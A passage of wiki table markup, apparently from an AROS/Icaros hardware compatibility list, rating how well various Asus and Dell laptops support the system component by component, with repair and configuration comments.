|| &lt;!--Chipset--&gt;Slow atom like speed E-350 (2011), E-450 (2011) on AMD M780G, much slower C-50 C50 (2012), C-60 C60 on the AMD A50M dark brown plastic build || &lt;!--IDE--&gt;{{N/A|}} || &lt;!--SATA--&gt;{{yes|Set IN Bios IDE MODE}} || &lt;!--Gfx--&gt;{{Maybe|use VESA ATi 6310M, 6320M later 6250M or 6290M}} || &lt;!--Audio--&gt;{{Yes|HD audio with alc269 codec Altec Lansing® Speakers}} || &lt;!--USB--&gt;{{Yes|3 x USB2}} || &lt;!--Ethernet--&gt;{{Unk|rtl8169 with RTL8111 phy}} || &lt;!--Wireless--&gt;{{unk|Atheros half height ar9285}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.2 and 2018 AROS One 1.6 USB || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 15.6in 1368 x 768 dull 50% srgb screen - f2 bios setup, esc boot drive - 5200 or 7800 mAh battery covers ASUS K53S K53E X54C X53S K84L X53SV X54HR K53F X53U laptops - 2 DDR3L slots max 8Gb - 19v barrel 5.5 / 2.5 mm - 
|-
| &lt;!--Name--&gt;Asus K53T, Asus A53Z X53Z
|| &lt;!--Chipset--&gt;AMD A4-3305M on AMD M780G, A6-3420M dark brown plastic build || &lt;!--IDE--&gt;{{N/A|}} || &lt;!--SATA--&gt;{{yes|Set IN Bios IDE MODE}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD 6520G, 7670M}} || &lt;!--Audio--&gt;{{Yes|HD audio with  codec}} || &lt;!--USB--&gt;{{Yes|3 x USB2}} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 with RTL8111 phy}} || &lt;!--Wireless--&gt;{{No|Atheros half height}} || &lt;!--Test Distro--&gt;AROS One USB || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 15.6in 1368 x 768 dull 50% srgb screen - f2 bios setup, esc boot drive - 2 DDR3L slots max 8Gb - 19v barrel 5.5 / 2.5 mm - Altec Lansing® Speakers - 
|-
| &lt;!--Name--&gt;X55U X401U X501U 1225B || &lt;!--Chipset--&gt;slow C-60 C60, C-70 C70 or E1 1200 E2 1800 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;6290G || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;Realtek 8111 8169 || &lt;!--Wireless--&gt;{{unk| Atheros AR9485}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does not support AVX or SSE 4.1 -  11.6&quot; display - ram soldered - 
|-
| &lt;!--Name--&gt;Asus A43TA A53TA K53TA XE2 A73T || &lt;!--Chipset--&gt;AMD A4-3300M, A6 3400M (laptop chip) || &lt;!--IDE--&gt;{{N/A|}} || &lt;!--SATA--&gt;{{yes|Set IN Bios IDE MODE}} || &lt;!--Gfx--&gt;{{Maybe|use VESA AMD Radeon HD 6520G Integrated + HD 6470M (1GB GDDR3)}} || &lt;!--Audio--&gt;{{yes| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Unk|}} || &lt;!--Wireless--&gt;{{No|Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - f2 bios setup, esc boot drive - 
|-
| &lt;!--Name--&gt;X102BA || &lt;!--Chipset--&gt;Llano E1 1200 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes|ide bios setting}} || &lt;!--Gfx--&gt;Radeon HD 8180 || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;RTL8101E RTL8102E || &lt;!--Wireless--&gt;{{unk| Qualcomm Atheros AR9485}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does not support AVX or SSE 4.1 - 10.1” Touchscreen - special asus 45w ac adapter - 
|-
| &lt;!--Name--&gt;K55N, K75DE || &lt;!--Chipset--&gt;AMD a6 4400M A8 4500M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;AMD 7640G || &lt;!--Audio--&gt;HD Audio with ALC codec none through ATi Trinity HDMI || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;rtl8169 || &lt;!--Wireless--&gt;{{unk| Atheros AR9485}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does support AVX or SSE 4.1 - 17.3-inch - 
|-
| &lt;!--Name--&gt;X452EA X552EA F552E || &lt;!--Chipset--&gt;AMD E1 2100 or A4 5000M A8 4500M A10 4600M with A || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA for AMD ATI Sun XT Radeon HD 8330 8670A 8670M 8690M}} || &lt;!--Audio--&gt;{{Yes|AMD FCH Azalia rev 02 with ALC898 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{{Yes|Realtek RTL8111 8168 8411}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9485}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 || &lt;!--Comments--&gt;2013 64bit may support avx kabini trinity - 
|-
| &lt;!--Name--&gt;Asus ROG G751GY || &lt;!--Chipset--&gt;Intel i7-4720HQ || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;GTX 980M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 
|-
| &lt;!--Name--&gt;Asus ROG G752VY || &lt;!--Chipset--&gt;Intel i7-6700HQ || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;GTX 980M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;Asus X555Y || &lt;!--Chipset--&gt;AMD A6-7210 A8-7410 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface }} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD R5}} || &lt;!--Audio--&gt;{{unk|HD Audio codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 Realtek}} || &lt;!--Wireless--&gt;{{no| }}Realtek || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit does support AVX or SSE 4.1 - 4gb soldered with 1 ddr3 slot - silver-colored plastic - internal battery - 
|-
| &lt;!--Name--&gt;Asus X555B X555DG X555S X555U X555YI X555LAB || &lt;!--Chipset--&gt;Intel Core i5-4210U to  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface }} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Intel}} || &lt;!--Audio--&gt;{{No|HDAudio  with coxenant and realtek alc codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{Maybe|Realtek}} || &lt;!--Wireless--&gt;{{no| }}Realtek || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit does support AVX or SSE 4.1 - 4gb soldered with 1 ddr3 slot - silver-colored plastic - internal battery - 
|-
| &lt;!--Name--&gt;Asus X555D || &lt;!--Chipset--&gt;AMD A10-8700P || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{unk|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface }} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD R6}} || &lt;!--Audio--&gt;{{unk|HD Audio codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek}} || &lt;!--Wireless--&gt;{{No|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 15.6in 1366 x 768 - 4gb soldered with 1 ddr3 slot - silver-coloured plastic - internal battery - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;ASUS X555Q || &lt;!--Chipset--&gt;AMD® Bristol Ridge A10-9600P 7th Gen, A12-9720p || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface}} || &lt;!--Gfx--&gt;{{Maybe|R5 + Radeon™ R6 M435DX Dual Graphics with VRAM GCN 3}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no|Realtek 8821AE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit - FHD 15.6 1920x1080 - 37W battery internal - 4gb soldered with 1 ddr3 slot - internal battery - 
|-
| &lt;!--Name--&gt;ASUS M509ba  || &lt;!--Chipset--&gt;AMD A9-9425  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface}} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for RADEON R5}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 15.6in 1366 x 768 - 1 ddr4 sodimm slot max 16Gb - 19VDC 2.37A Max 45W 4.0mm x 1.35mm - keyboard swap problematic - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;ExpertBook P1410, ASUS ExpertBook P1 P1510CD, Expertbook Y1511CD || &lt;!--Chipset--&gt;Ryzen 3 3200U, Ryzen 5 3500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;Nvme || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for AMD}} || &lt;!--Audio--&gt;{{unk|HDaudio with codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit 14in or 15.6in 768p to 1080p - keyboard swap problematic - 19V 3.42A asus barrel connector 4.0MM X 1.35MM 4phi - 
|-
| &lt;!--Name--&gt;ASUSTeK ASUS EXPERTBOOK L1 L1400CDA, L1500CDA - 19v 3.42a 4.5phi Barrel with centre pin Outer 4.5mm Inner 3mm asus special untested EXA1203XH, EXA1203YH, EXA1208UH, PA-1650-30, PA-1650-78, PA-1650-93, ADP-65GD B, ADP-65DW B (Euro) || &lt;!--Chipset--&gt;'''tested''' Ryzen 5 3500U - '''untested''' Ryzen 3 3200U, 3250U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1 Nvme m.2 slot will not boot with sata3 m.2, optional 1 sata hdd with ribbon cable, no dvd drive}} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for AMD vega 3, 8}} || &lt;!--Audio--&gt;{{unk|HDaudio 0x15de 0x15e3 with ALC256 codec 0x10ec 0x0256}} || &lt;!--USB--&gt;{{maybe|USB3 1 usb-c and 3 usb-a }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111HSH-CG }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt;3500U with AROS One 64bit 1.2 usb installed to m.2 sata on another machine || &lt;!--Comments--&gt;2019 64bit 14in or 15.6in 1080p - keyboard swap problematic - up to 8Gb ddr4 sodimm soldered on board and 1 slot - micro sd card slot on some models  - 42Whr B31N1915 C31N1915 C31N2204 - hold down F2 and press power for bios setup - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


==== Dell ====

[[#top|...to the top]]

Order of build quality (Lowest to highest) 
&lt;pre &gt;
Studio 
Inspiron 
Vostro 
XPS
Alienware  
Precision 
Latitude 
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;10%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Latitude CP 233GT, CPi d233xt d266xt D300XT a366xt, CPt S400GT S500GT S550GT S600GT S700ST, CPt C333GT C400GT || &lt;!--Chipset--&gt;Neo Magic || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA - Neo magic Magic Media 2160 2360 256ZX || &lt;!--Audio--&gt;{{No|crystal pnp 4237b or magic media 256zx sound nm2360}} || &lt;!--USB--&gt;USB 1.1 || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 32bit Low-Density 16-chip 144p 144-pin 32Mx64 3.3V SODIMM - 
|-
| &lt;!--Name--&gt;Dell Latitude CPx H450GT H500GT H Series, CPt V433GT V466GT V600, Inspiron 5000 || &lt;!--Chipset--&gt;Intel 440BX with Pentium 3M (CPx) or Celeron (CPt) || &lt;!--IDE--&gt;{{{Yes| }} || &lt;!--SATA--&gt;{{N/A| }} || &lt;!--Gfx--&gt;{{Maybe|Use Vesa - ATi Rage Pro Mobility M1}} || &lt;!--Audio--&gt;{{No|ESS ES1978 Maestro 2E Canyon 3D}} || &lt;!--USB--&gt;{{Yes|1 slot 1.1 only}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A| }} || &lt;!--Test Distro--&gt;NB May 2013 || &lt;!--Comments--&gt;1998 32bit - 3 pin PA-6 PA6 power adapter plug - CDROM DVD Cxxx family media bay accessories untested 
|-
| &lt;!--Name--&gt;Latitude C500 C600 (Quanta TM6) Inspiron 4000 7500, CPx J Series || &lt;!--Chipset--&gt;440BX ZX/DX || &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|ATI Rage 128Pro Mobility M3 (VESA only)}} || &lt;!--Audio--&gt;{{no|ES1983S Maestro 3i}} || &lt;!--USB--&gt;{{yes|USB 1.1 only}} || &lt;!--Ethernet--&gt;{{N/A|some models had mini pci e100}}|| &lt;!--Wireless--&gt;{{N/A|a few came with internal antenna wiring}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;1999 square 3 pin charger PA9 PA-9 - C/Dock II untested - C/Port untested - Parallel to Floppy cable untested - CPx J600GT J650GT J700GT J750GT J800GT J850GT 
|-
| &lt;!--Name--&gt;Latitude C510 C610 Insprion 4100 PP01L 2600 || &lt;!--Chipset--&gt;i830 and 1GHz+ P3-M ||  &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|use VESA - ATI Radeon Mobility M6}} || &lt;!--Audio--&gt;{{No|AC97 CS4205}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{yes|3Com Etherlink}} || &lt;!--Wireless--&gt;{{Maybe|internal antenna wiring for an Atheros mini pci card}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2000 poor build quality - hard to find in good working order 
|-
| &lt;!--Name--&gt;Latitude C400 || &lt;!--Chipset--&gt;Intel 830 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA Intel 830 CGC}} || &lt;!--Audio--&gt;{{No|ac97 Crystal 4205}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Yes|3Com 3c905C TX/TX-M}} || &lt;!--Wireless--&gt;{{N/A| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2000 Slim for the time - no media bays 
|-
| &lt;!--Name--&gt;Latitude C640 (Quanta TM8) C840 Inspiron 8k2 8200 i8200 precision m50 || &lt;!--Chipset--&gt;P4M with 845EP || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA if ATi - use nouveau if 64mb Nvidia Gforce 4 440 Go  || &lt;!--Audio--&gt;AC97 CS4205 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;3com 905c || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2001 C640 had one fan so was noisy and hot - C840 had 2 fans and ran slightly cooler but fan noise louder
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| Latitude D400 || P-M 82845 || {{yes|82801 ide}} || {{N/A}} || {{partial|VESA only}} || {{yes|AC97 Audio playback only}} || {{maybe|USB 2.0}} || {{maybe|PRO 100 VM (KM)}} || {{no|BCM4318 AirForce one 54g replace with atheros 5k mini pci}} || &lt;!--Test Distro--&gt; Icaros 1.2.4 || 2003 32bit might boot from USB stick but won't boot from USB-DVD - no sd card slot - power plug style - 
|-
| Latitude D500 / D505 PP10L, Inspiron 510m 
|| 855GME 
* revA00
* revA03
* revA06
| {{yes|IDE but needs the Dell adapter}} || {{N/A}} || {{partial|855GM Gfx (VESA only)}} || {{Yes|Intel AC97 with IDT STAC 9750 codec playback head phones only}} || {{maybe| }} || {{yes|Intel PRO 100 VE}} || {{no|Broadcom BCM4306 but exchange with atheros g in panel on laptop bottom}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || 2003 - 14 / 15 inch XGA 4:3 screen - plastic build - no sd card slot - boots from bay optical drive - not powering on/off with ac adapter is a [http://www.geekzone.co.nz/forums.asp?forumid=37&amp;topicid=30585 mobo fault of PC13 SMT 1206 ceramic cap hot] suggest [http://www.die4laser.com/D505fix/ 0.1uF 50V instead] - pc2700 333Mhz ram 1Gb max - 
|-
| Latitude D505 (some) || VIA VT8237 VX700 || {{yes|IDE}} ||  || {{partial|VESA 2d on ATI RV350 Radeon 9550}} || {{no|VIA AC97 with  codec}} || {{maybe|VIA USB glitchy}} || {{yes|VIA VT6102 Rhine-II}} || {{no|Intel 2200g Calexico2}} || &lt;!--Test Distro--&gt; || 2003 32bit little support - diagnostics pressing holding the Fn key, press the Power ON button (battery removed). Check the LEDs pattern - cmos battery behind flap in laptop battery slot - 
|-
| &lt;!--Name--&gt;Inspiron 1000 || &lt;!--Chipset--&gt;SIS || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|use VESA SIS}}  || &lt;!--Audio--&gt;{{Yes|AC97 SIS with AD1981B codec playback}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Yes|SIS 900 but}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 || &lt;!--Comments--&gt;2004 32bit [https://forum.level1techs.com/t/my-time-with-icaros-desktop-and-what-i-am-doing-as-a-dev-contributor-also-some-other-shit/113358 aremis using it]
|-
| &lt;!--Name--&gt;Inspiron 1100 PP07L || &lt;!--Chipset--&gt;845 || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|use VESA Intel 845G}} || &lt;!--Audio--&gt;{{Yes|AC'97 playback}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|Broadcom 4401}} || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt;Icaros 1.5 || &lt;!--Comments--&gt;2004 
|-
| &lt;!--Name--&gt;Inspiron 8500 5150 || &lt;!--Chipset--&gt;P4 855GM || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|Nvidia 5200 Go - VESA if intel gfx}} || &lt;!--Audio--&gt;{{Yes|MCP AC97 with SigmaTel 9750}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Yes|Broadcom 440x}} || &lt;!--Wireless--&gt;{{No|Broadcom 4306 rev 02 use Atheros Mini PCI}} || &lt;!--Test Distro--&gt;Icaros 2.3 || &lt;!--Comments--&gt;2004 32bit P4 runs well but hot 
|-
| Latitude X300 PP04S small, slim and light case 
|| 855GME 
* revA00 Intel ULV 1.2 Ghz
* revA01 Intel ULV 1.4Ghz 
| {{yes|IDE internal and will boot cd/dvd through dock PR04S}} || {{N/A}} || {{partial|855GM Gfx (VESA only)}} || {{Yes|Intel AC97 with STAC 97xx codec but no audio out of the dock}} || {{maybe|works but dock usb ports and usb DVD PD01S not detected}} || {{No|Broadcom BCM5705M gigabit}} || {{no|Broadcom BCM4306 later intel - replace with atheros in the underside}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1, 2020 AROS One 1.6 usb,  || 2003 12.1&quot; 1024 x 768 - 19.5v PA-10 or PA-12 dell - ACPI works but bad s3 ram suspend sleep - no sd card boot - 1Gb max sodimm ddr 2700 
|-
| &lt;!--Name--&gt;Latitude D600 (Quanta JM2) PP05L - 600m 
|| &lt;!--Chipset--&gt;82855 PM i855 
* reva00
* revA01 
* revA02 
* revA03 
* revA04 
| &lt;!--IDE--&gt; {{yes}} || &lt;!--SATA--&gt; {{N/A}} || &lt;!--Gfx--&gt;{{Maybe|Use VESA - ATI Radeon RV250 Mobility FireGL 9000}} || &lt;!--Audio--&gt;{{Yes|AC97 -  STAC 9750}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5705}} || &lt;!--Wireless--&gt;{{no|Intel 2100 or Broadcom BCM4306 - swap for Atheros panel in base}} || &lt;!--Test Distro--&gt;2011 Icaros 1.3 and [http://www.amiga.org/forums/archive/index.php/t-62187.html 1.4.1 and 2016 2.1.1] || &lt;!--Opinion--&gt;2003 32bit 14inch using pc2100 memory with Caps light blinking is usually a memory error - Dell D505 D600 power up pressing the case docking port - 
|-
| &lt;!--Name--&gt;Latitude D600 (Quanta JM2) || &lt;!--Chipset--&gt;82855 PM i855 || &lt;!--IDE--&gt; {{yes}} || &lt;!--SATA--&gt; {{N/A}} || &lt;!--Gfx--&gt;{{Yes|2D only vidia NV28 GeForce4 Ti 4200 Go 5200 Go 5650 Go}} || &lt;!--Audio--&gt;{{Yes|AC97 - STAC 9750}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5705}} || &lt;!--Wireless--&gt;{{no|Broadcom BCM4306 mini pci - swap for Atheros}} || &lt;!--Test Distro--&gt; Icaros 1.3 and [http://www.amiga.org/forums/archive/index.php/t-62187.html 1.4.1] || &lt;!--Opinion--&gt;2003 32bit 14&quot; - solder joints on the bios chip (press down f7/f8 keys) - RAM clean with eraser - memory cover plate maybe apply some pressure - 
|-
| &lt;!--Name--&gt;D800 (Compal LA-1901) || &lt;!--Chipset--&gt;Intel 855 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;AC97 || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;Broadcom 570x || &lt;!--Wireless--&gt;Broadcom 4309 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit - trackpoint type pointing device - 
|-
| &lt;!--Name--&gt;D800 || &lt;!--Chipset--&gt;Intel 855 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{No|Nvidia }} || &lt;!--Audio--&gt;AC97 || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;Broadcom 570x || &lt;!--Wireless--&gt;Broadcom 4309 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit 15inch 39cm
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Inspiron 1200 2200 PP10S Latitude 110L m350 1.3Ghz || &lt;!--Chipset--&gt;Intel 915GM || &lt;!--IDE--&gt; {{yes|UDMA boots cd or DVD and installs to HDisk}} || &lt;!--SATA--&gt; {{N/A}}|| &lt;!--Gfx--&gt;{{yes|Intel GMA900 (2D and 3D openGL 1.x) Gearbox 56}} || &lt;!--Audio--&gt;{{yes|Intel AC97 playback only}} || &lt;!--USB--&gt;{{maybe|USB 2.0}} || &lt;!--Ethernet--&gt;{{yes|Intel PRO 100 VE}} || &lt;!--Wireless--&gt;{{no|BroadCom BCM4318 - swap for Atheros mini PCI in base panel}} || &lt;!--Test Distro--&gt;Icaros 1.4.5 || &lt;!--Comments--&gt;2005 single core 32bit 14&quot; 4:3 1024 768 XGA screen - heavy 6 lbs - PA16 barrel 19V 3.16A AC adapter - battery life 4cell 29WHr lasts 2 hours - 256mb soldered with 1 ddr pc2100 sodimm 1gb max - 
|-
| &lt;!--Name--&gt;Inspiron 1300 business B130 home PP21L Latitude 120L B120 by Compal - Inspiron 630m || &lt;!--Chipset--&gt;Intel Celeron M360 1.4GHz, M370 1.50 GHz, M380 1.73GHz || &lt;!--IDE--&gt;{{Yes|boots cd or DVD and installs to HDisk}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|GMA 915 2D and 3D openGL 1.x tunnel 172 gearbox 70}} || &lt;!--Audio--&gt;{{Yes|HD Audio playback ear phones only}} || &lt;!--USB--&gt;{{maybe|works but waiting boot fail with AROS One usb version}} || &lt;!--Ethernet--&gt;{{Yes|Broadcom 440x}} || &lt;!--Wireless--&gt;{{No|intel 2200 or BCM4318 swap for Atheros mini pci underside - one antenna lead for main wifi}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.2, 2020 AROS One 1.6 usb,  || &lt;!--Comments--&gt;2005 32bit single core - 14.1″ XGA 4:3 or 15.4&quot; WXGA wide 1280 x 800 matte - ddr2 sodimm ram 2gb max - PA-16 19v psu tip 7.4mm * 5mm - f10 boot select f1 f2 bios 
|-
